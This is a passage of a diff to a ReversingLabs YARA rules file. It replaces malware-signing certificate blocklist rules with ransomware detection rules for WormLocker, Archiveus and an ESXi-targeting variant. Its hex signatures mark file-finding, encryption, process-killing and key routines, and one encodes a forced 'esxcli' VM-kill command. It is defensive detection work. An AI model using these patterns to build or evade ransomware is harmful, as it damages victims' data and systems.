?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 + 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? + ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 89 34 + 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D + 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? + F3 AB FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? + 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 + } + $shut_down_esxi_v1 = { + 55 B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 C1 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 + EC ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? 65 73 78 63 C7 44 24 ?? 6C 69 20 76 C7 44 24 + ?? 6D 20 70 72 8D B3 ?? ?? ?? ?? C7 44 24 ?? 6F 63 65 73 F3 A5 8D B4 24 ?? ?? ?? ?? + C7 44 24 ?? 73 20 6B 69 83 EC ?? 89 F7 C7 44 24 ?? 6C 6C 20 2D C7 44 24 ?? 2D 74 79 + 70 C7 44 24 ?? 65 3D 66 6F C7 44 24 ?? 72 63 65 20 C7 44 24 ?? 2D 2D 77 6F 89 C8 B9 + ?? ?? ?? ?? C7 44 24 ?? 72 6C 64 2D C7 44 24 ?? 69 64 3D 22 C7 84 24 ?? ?? ?? ?? 25 + 73 22 00 C7 44 24 ?? 5B 45 53 58 C7 44 24 ?? 69 5D 20 53 C7 44 24 ?? 68 75 74 74 C7 + 44 24 ?? 69 6E 67 20 C7 44 24 ?? 64 6F 77 6E F3 AB C7 44 24 ?? 20 2D 20 25 8D 83 ?? + ?? ?? ?? 66 89 6C 24 ?? C6 44 24 ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 C5 8D 44 24 ?? 66 89 7C 24 ?? 31 FF + } + $kill_processes_v2_p1 = { + 41 54 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 E4 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 55 48 89 + FD 53 48 81 EC ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 48 89 84 24 ?? ?? ?? ?? B8 ?? ?? + ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F + 6F 05 ?? ?? 00 00 48 89 DF 66 89 44 24 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 44 24 + ?? 66 0F 6F 05 ?? ?? 00 00 66 89 54 24 ?? 48 89 EA 0F 29 44 24 ?? 66 0F 6F 05 ?? ?? + 00 00 66 89 8C 24 ?? ?? 00 00 B9 ?? ?? ?? ?? 0F 29 44 24 ?? 66 0F 6F 05 ?? ?? 00 00 + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6 + 84 24 ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C7 44 24 ?? ?? + ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6 44 24 ?? ?? 0F 29 84 24 + ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 B8 + } + $kill_processes_v2_p2 = { + 48 89 44 24 ?? 4C 89 E0 F3 48 AB 48 89 DF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? + ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? + ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 + ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D + 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF + B9 ?? ?? ?? ?? F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 + 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 + EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? + F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 + 81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3 + } + $encrypt_files_v2_p1 = { + 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 41 57 66 0F EF C0 49 89 FF 41 56 49 89 D6 41 55 49 89 + F5 BE ?? ?? ?? ?? 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 4C 24 ?? 48 + 8D AC 24 ?? ?? ?? ?? 48 89 DF 4C 89 04 24 0F 29 44 24 ?? 0F 29 44 24 ?? 0F 29 44 24 + ?? 48 C7 44 24 ?? ?? ?? ?? ?? 0F 29 44 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75 + ?? 45 31 E4 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF BE ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 44 89 E0 5B 5D + 41 5C 41 5D 41 5E 41 5F C3 0F 1F 80 ?? ?? ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? + ?? 4C 89 FF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 89 FF E8 ?? + ?? ?? ?? 4C 89 FE 4C 89 EF 48 89 C2 49 89 C4 E8 ?? ?? ?? ?? 8B 54 24 ?? 4B 8D 44 25 + ?? 31 F6 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? BA ?? ?? ?? ?? 43 + C6 44 25 ?? ?? 4C 8B 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 ?? 45 31 + E4 E8 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 + 8B 7C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8B 7C 24 ?? E8 ?? ?? + ?? ?? 48 8D 35 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 89 44 24 ?? 49 89 C4 48 85 C0 + } + $encrypt_files_v2_p2 = { + 0F 84 ?? ?? ?? ?? 31 F6 BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 + ?? E8 ?? ?? ?? ?? 48 39 44 24 ?? 48 0F 4E 44 24 ?? 48 8D 7C 24 ?? 48 89 C1 48 C1 F9 + ?? 48 C1 E9 ?? 48 8D 14 08 83 E2 ?? 48 29 CA 48 29 D0 48 89 44 24 ?? E8 ?? ?? ?? ?? + 48 8D BC 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DE 48 89 44 24 ?? 31 C0 BA ?? ?? ?? ?? + F3 48 AB 48 8D 84 24 ?? ?? ?? ?? 48 8B 3C 24 48 89 C1 48 89 44 24 ?? E8 ?? ?? ?? ?? + 41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 4C 89 + EE E8 ?? ?? ?? ?? 41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 4C 8D 64 24 ?? 48 + 85 C0 75 ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 4D 89 F1 4D 89 E8 4C 89 E9 4C 89 E2 + 48 89 EE 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F6 BA ?? ?? ?? ?? 4C 89 FF 48 F7 + DE E8 ?? ?? ?? ?? 4C 89 F9 4C 89 F2 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44 + 24 ?? 4C 29 F0 48 89 44 24 ?? 74 ?? 49 39 C6 4C 8B 7C 24 ?? BE ?? ?? ?? ?? 4C 89 EF + 4C 0F 47 F0 66 0F 6F 4C 24 ?? 4C 89 F9 4C 89 F2 0F 29 4C 24 ?? E8 ?? ?? ?? ?? 4C 39 + F0 74 ?? 48 8B 7C 24 ?? 41 BC ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FE 4C + 89 EF E8 ?? ?? ?? ?? E9 + } + $find_files_v2_p1 = { + 41 57 4D 89 C7 41 56 49 89 FE 41 55 49 89 FD 41 54 55 53 89 CB 48 81 EC ?? ?? ?? ?? + 48 89 34 24 89 54 24 ?? 41 8B 55 ?? 49 83 C5 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? + ?? ?? ?? 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 49 8D 55 ?? 4C 0F 44 EA 89 C6 + 40 00 C6 49 83 DD ?? 31 ED 4D 29 F5 74 ?? 49 8D 6D ?? 43 80 7C 2E ?? ?? 49 0F 45 ED + 48 8D 44 24 ?? 41 89 DC 4C 89 F6 48 89 44 24 ?? 48 89 C2 BF ?? ?? ?? ?? 41 83 E4 ?? + 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 00 83 F8 + ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? 48 8B 44 24 ?? F6 C3 + ?? 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C 89 7C 24 ?? 48 89 44 24 ?? 4D + 85 FF 0F 84 ?? ?? ?? ?? 41 8B 47 ?? 8D 55 ?? 89 54 24 ?? 83 C0 ?? 89 44 24 ?? 89 44 + 24 ?? 41 8B 47 ?? 89 44 24 ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? + ?? ?? 89 D8 83 E0 ?? 89 44 24 ?? 75 ?? 44 88 5C 24 ?? 44 89 E2 48 8D 4C 24 ?? 4C 89 + F7 48 8B 74 24 ?? 48 8B 04 24 44 89 44 24 ?? FF D0 44 8B 44 24 ?? 44 0F B6 5C 24 ?? + 85 C0 89 C2 75 ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 54 24 ?? EB ?? 0F + 1F 44 00 ?? 4D 8B 3F 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 49 39 57 ?? 75 ?? + 31 D2 48 81 C4 ?? ?? ?? ?? 89 D0 5B 5D 41 5C 41 5D 41 5E 41 5F C3 66 90 E8 ?? ?? ?? + ?? 85 C0 78 ?? 8B 44 24 ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? 31 C9 45 31 DB 45 31 E4 48 8B 44 24 ?? F6 C3 ?? 0F 84 ?? ?? + ?? ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C + } + $find_files_v2_p2 = { + 89 7C 24 ?? 48 89 44 24 ?? E9 ?? ?? ?? ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 E8 ?? ?? ?? + ?? 49 89 C4 8B 00 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 4C 89 F6 BF ?? ?? ?? ?? + E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? EB + ?? 0F 1F 00 8B 4C 24 ?? 85 C9 74 ?? 45 84 DB 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 43 C6 04 + 2E ?? 85 C0 0F 84 ?? ?? ?? ?? 44 89 E2 48 8D 4C 24 ?? 48 8B 74 24 ?? 4C 89 F7 48 8B + 04 24 FF D0 89 C2 E9 ?? ?? ?? ?? 90 31 F6 4C 89 F7 31 C0 44 88 5C 24 ?? E8 ?? ?? ?? + ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 44 0F B6 5C 24 ?? 44 8B 00 85 FF 79 ?? 41 + 83 F8 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ?? ?? ?? 44 0F 45 DA 44 0F 45 E0 8B 74 + 24 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 7C 24 ?? 44 88 5C 24 ?? 44 89 44 24 ?? E8 ?? ?? ?? + ?? 44 0F B6 5C 24 ?? 44 8B 44 24 ?? E9 ?? ?? ?? ?? 0F 1F 00 48 89 44 24 ?? 48 8B 44 + 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 85 ED 74 ?? 41 80 3C 2E ?? 48 89 E8 74 ?? E9 ?? + ?? ?? ?? 0F 1F 44 00 ?? 41 80 3C 06 ?? 0F 85 ?? ?? ?? ?? 48 83 E8 ?? 75 ?? 31 D2 89 + } + $find_files_v2_p3 = { + 54 24 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 89 D8 B9 ?? ?? ?? ?? 41 BB ?? ?? ?? ?? 83 E0 ?? + 83 F8 ?? 45 19 E4 41 83 E4 ?? 41 83 C4 ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? 8B 54 24 ?? + 85 D2 0F 88 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 49 89 C7 48 85 C0 0F 84 ?? ?? ?? + ?? B8 ?? ?? ?? ?? 44 89 64 24 ?? 4C 29 E8 48 89 44 24 ?? 48 8D 44 24 ?? 48 89 44 24 + ?? 8B 44 24 ?? 83 E8 ?? 89 44 24 ?? 4C 89 FF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? + ?? 80 78 ?? ?? 74 ?? 4C 8D 60 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 3B 44 24 ?? 0F 83 ?? ?? + ?? ?? 41 C6 04 2E ?? 49 8D 7C 2E ?? 4C 89 E6 E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 8B 54 24 + ?? 89 D9 48 8B 34 24 4C 89 F7 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 FF 89 04 24 E8 ?? ?? + ?? ?? 8B 14 24 E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 74 ?? 66 83 78 ?? ?? 75 ?? EB ?? 90 + 41 80 7C 06 ?? ?? 48 8D 70 ?? 89 C2 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41 + 80 7C 06 ?? ?? 48 8D 50 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 48 89 C2 48 85 D2 0F 84 + ?? ?? ?? ?? 41 80 7C 16 ?? ?? 48 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 00 45 85 E4 0F + 84 ?? ?? ?? ?? 31 C9 45 31 DB 41 BC ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FF 44 8B 64 24 + ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 41 8B 04 24 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 FF + C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ?? + ?? ?? ?? 48 89 F2 E9 ?? ?? ?? ?? 44 89 04 24 E8 ?? ?? ?? ?? 44 8B 04 24 BA ?? ?? ?? + ?? 44 89 00 E9 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 83 CA ?? E9 + } + $init_key_v2 = { + 48 85 FF 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41 56 41 55 41 54 55 48 89 F5 + 53 48 89 FB 48 81 EC ?? ?? ?? ?? 4C 8D 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? + 66 0F EF C0 48 8D 35 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 49 89 E6 0F 29 04 24 0F 29 44 + 24 ?? E8 ?? ?? ?? ?? 49 89 C5 48 85 C0 74 ?? 4C 89 F7 48 89 C1 BA ?? ?? ?? ?? BE ?? + ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F6 4C 89 E7 E8 + ?? ?? ?? ?? 85 C0 74 ?? 31 C0 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3 66 2E + 0F 1F 84 00 ?? ?? 00 00 31 C0 C3 0F 1F 44 00 ?? 48 89 EA 48 89 DE 4C 89 E7 E8 ?? ?? + ?? ?? 85 C0 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 89 E8 EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x8C\\x97\\xE4\\xBA\\xAC\\xE8\\x80\\x98\\xE5\\x8D\\x87\\xE5\\xA4\\xA9\\xE4\\xB8\\x8B\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "1b:e4:1b:34:12:7c:a9:e6:27:08:30:d2:07:0d:b4:26" and 1352764799 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( ( all of ( $find_files_v1_p* ) ) and ( all of ( $kill_processes_v1_p* ) ) and ( $init_key_v1 ) and ( all of ( $encrypt_files_v1_p* ) ) and ( $shut_down_esxi_v1 ) ) or ( ( all of ( $find_files_v2_p* ) ) and ( all of ( $kill_processes_v2_p* ) ) and ( $init_key_v2 ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_9B108B8A1Daa0D5581F59Fcee0447901 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wormlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects WormLocker ransomware." author = "ReversingLabs" - id = "cacb2af8-dbc6-5d61-a2d5-641c5c09bc79" - date = "2020-08-05" - modified = "2023-11-08" + id = "6d7b55b7-2e1b-56e0-950f-07a2d3fa17ae" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2486-L2504" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara#L1-L69" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "696e3da511f74f9cfb10b96130a36ae9f48c22f1e0deb76092db1262980ab3ac" + logic_hash = "87a4f805de78d7e7dffb176302407453108ca01552c682aeee38f8d0201263c9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WormLocker" + tc_detection_factor = 5 importance = 25 + strings: + $set_environment = { + 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? + ?? ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 20 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 13 ?? 11 ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + 11 ?? 17 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2A + } + $find_files = { + 00 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 0C 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? + ?? 0D 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? + ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 00 11 ?? 09 11 ?? 9A 11 ?? 6F ?? ?? ?? + ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 FE 04 13 ?? 11 ?? 2D ?? 16 13 ?? 2B ?? 00 11 + ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 + 13 ?? 11 ?? 2D ?? 2A + } + $encrypt_files_p1 = { + 00 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73 + ?? ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 00 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? + ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? + 00 09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16 + 02 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? + ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08 + 2C ?? 08 6F ?? ?? ?? ?? 00 DC 06 13 ?? 2B ?? 11 ?? 2A + } + $encrypt_files_p2 = { + 00 03 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ?? + ?? ?? 0B 06 07 28 ?? ?? ?? ?? 0C 03 0D 09 08 28 ?? ?? ?? ?? 00 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CharacTell Ltd" and ( pe.signatures [ i ] . serial == "00:9b:10:8b:8a:1d:aa:0d:55:81:f5:9f:ce:e0:44:79:01" or pe.signatures [ i ] . serial == "9b:10:8b:8a:1d:aa:0d:55:81:f5:9f:ce:e0:44:79:01" ) and 1380671999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $set_environment ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Cert_Blocklist_5F8203C430Fc7Db4E61F6684F6829Ffc : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Archiveus : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Archiveus ransomware." author = "ReversingLabs" - id = "975cd500-2f08-55c9-a821-4dde3a54ae0c" - date = "2020-08-05" - modified = "2023-11-08" + id = "89e5af93-1153-5367-a539-6af77c99c214" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2506-L2522" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Archiveus.yara#L3-L50" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cd22d1beea12d1f6c50f69e76074c2582ce5567887056c43d4d6c87d33fce1bf" + logic_hash = "2b8a42b98ab3e8b97d2e226e979f342a6a72f21d8f068f59c21ad95764077f8a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Archiveus" + tc_detection_factor = 5 importance = 25 + strings: + $entry_point = { + 68 ?? ?? 40 00 E8 ?? ?? ?? FF + } + $dump_instruction = { + 8B 3D ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ?? + 50 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF D7 FF 15 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 50 51 FF D3 50 8D 55 ?? 8D + 45 ?? 52 50 FF D3 50 FF 15 + } + $extension_rule = { + 8B 13 6A ?? 68 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? D9 85 ?? ?? ?? ?? DB 85 ?? ?? ?? + ?? DD 9D ?? ?? ?? ?? DC 8D ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? DC 05 ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 89 45 + ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF + 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ?? 